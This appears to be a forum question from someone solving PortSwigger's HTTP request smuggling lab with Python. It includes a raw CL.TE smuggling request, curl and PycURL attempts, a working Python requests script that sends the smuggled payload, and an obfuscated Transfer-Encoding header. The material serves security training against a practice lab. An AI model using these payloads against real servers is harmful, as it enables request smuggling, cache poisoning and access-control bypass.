Python Script POST Body Containing CRLF Characters and Malformed Headers. HTTP Request Smuggling


Lately I have been attempting Portswiggers WebSecAcademy’s HTTP request smuggling labs with the additional challenge of writing a python script to complete the challenge for me.

Intended solution from Burp Repeater:

POST / HTTP/1.1 Host: ac971f2f1fe48ec180f863d5009000ed.web-security-academy.net User-Agent: Mozilla/5.0 (X11; Linux i686; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 10 Transfer-Encoding: chunked  0  G  

If you right click and select ‘Copy as curl command’:

curl -i -s -k -X $  'POST' \     -H $  'Host: ac011f9b1f7e242780ce2272008a009d.web-security-academy.net' -H $  'User-Agent: Mozilla/5.0 (X11; Linux i686; rv:68.0) Gecko/20100101 Firefox/68.0' -H $  'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $  'Accept-Language: en-US,en;q=0.5' -H $  'Accept-Encoding: gzip, deflate' -H $  'Referer: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te' -H $  'Connection: close' -H $  'Upgrade-Insecure-Requests: 1' -H $  'Content-Length: 8' \     --data-binary $  '0\x0d\x0a\x0d\x0aG\x0d\x0a\x0d\x0a' \     $  'https://ac011f9b1f7e242780ce2272008a009d.web-security-academy.net/' 

When attempting this with Curl, it returns 500 internal server error.

I have managed to complete this using the Python requests module:

def POST_CLTE():     url = 'https://ac011f9b1f7e242780ce2272008a009d.web-security-academy.net/'     headers = {'Host':'ac011f9b1f7e242780ce2272008a009d.web-security-academy.net','Connection':'keep-alive',     'Content-Type':'application/x-www-form-urlencoded','Content-Length':'8', 'Transfer-Encoding':'chunked'}      data = '0\x0d\x0a\x0d\x0aG\x0d\x0a'      s = requests.Session()     r = requests.Request('POST', url, headers=headers, data=data)     prepared = r.prepare()     response = s.send(prepared)      print(response.request.headers)     print(response.status_code)     print(response.text) 

But I don’t like that I have to pass the header in as a dict and it complains when I want to include an obfuscated header such as:

X: X[\n]Transfer-Encoding: chunked 

I’ve attempted to reproduce the request using PyCurl:

#!/usr/bin/python  import pycurl from StringIO import StringIO  buffer = StringIO() c = pycurl.Curl() c.setopt(c.POST, 1) c.setopt(c.URL, 'https://ac011f9b1f7e242780ce2272008a009d.web-security-academy.net/') c.setopt(c.POSTFIELDS, '0\x0d\x0a\x0d\x0aG\x0d\x0a') #c.setopt(pycurl.POSTFIELDSIZE, 8) c.setopt(c.HTTPHEADER, [     'User-Agent: Mozilla/5.0 (X11; Linux i686; rv:68.0) Gecko/20100101 Firefox/68.0',     'Host: ac011f9b1f7e242780ce2272008a009d.web-security-academy.net',     'Content-Length: 8',     'Transfer-Encoding: chunked',     'Content-Type: application/x-www-form-urlencoded'     ]) #c.setopt(c.CRLF, 1) c.setopt(c.VERBOSE, 1) c.setopt(c.HEADER, 1) c.setopt(c.WRITEDATA, buffer) c.perform() c.close()  body = buffer.getvalue()  print(body) 

I like that I can pass the headers as an array of strings, but I unfortunately still get 500 internal server error:

*   Trying 18.200.141.238:443...                                                                                                                             * TCP_NODELAY set                                                                                                                                            * Connected to ac561fd21ed819768081009200f2002e.web-security-academy.net (18.200.141.238) port 443 (#0)                                                      * found 387 certificates in /etc/ssl/certs * ALPN, offering h2 * ALPN, offering http/1.1 * SSL connection using TLS1.2 / ECDHE_RSA_AES_128_GCM_SHA256 *        server certificate verification OK *        server certificate status verification SKIPPED *        common name: web-security-academy.net (matched) *        server certificate expiration date OK *        server certificate activation date OK *        certificate public key: RSA *        certificate version: #3 *        subject: CN=web-security-academy.net *        start date: Fri, 05 Jul 2019 00:00:00 GMT *        expire date: Wed, 05 Aug 2020 12:00:00 GMT *        issuer: C=US,O=Amazon,OU=Server CA 1B,CN=Amazon * ALPN, server did not agree to a protocol > POST / HTTP/1.1 Host: ac561fd21ed819768081009200f2002e.web-security-academy.net Accept: */* User-Agent: Mozilla/5.0 (X11; Linux i686; rv:68.0) Gecko/20100101 Firefox/68.0  Content-Length: 8 Transfer-Encoding: chunked Content-Type: application/x-www-form-urlencoded  8 * upload completely sent off: 15 out of 8 bytes * Mark bundle as not supporting multiuse < HTTP/1.1 500 Internal Server Error < Content-Type: application/json; charset=utf-8 < Connection: close < Content-Length: 23 <  * Closing connection 0 HTTP/1.1 500 Internal Server Error Content-Type: application/json; charset=utf-8 Connection: close Content-Length: 23  "Internal Server Error" 

What is the reason for this behaviour? Are there any alternatives I haven’t explored? Any suggestions are much appreciated.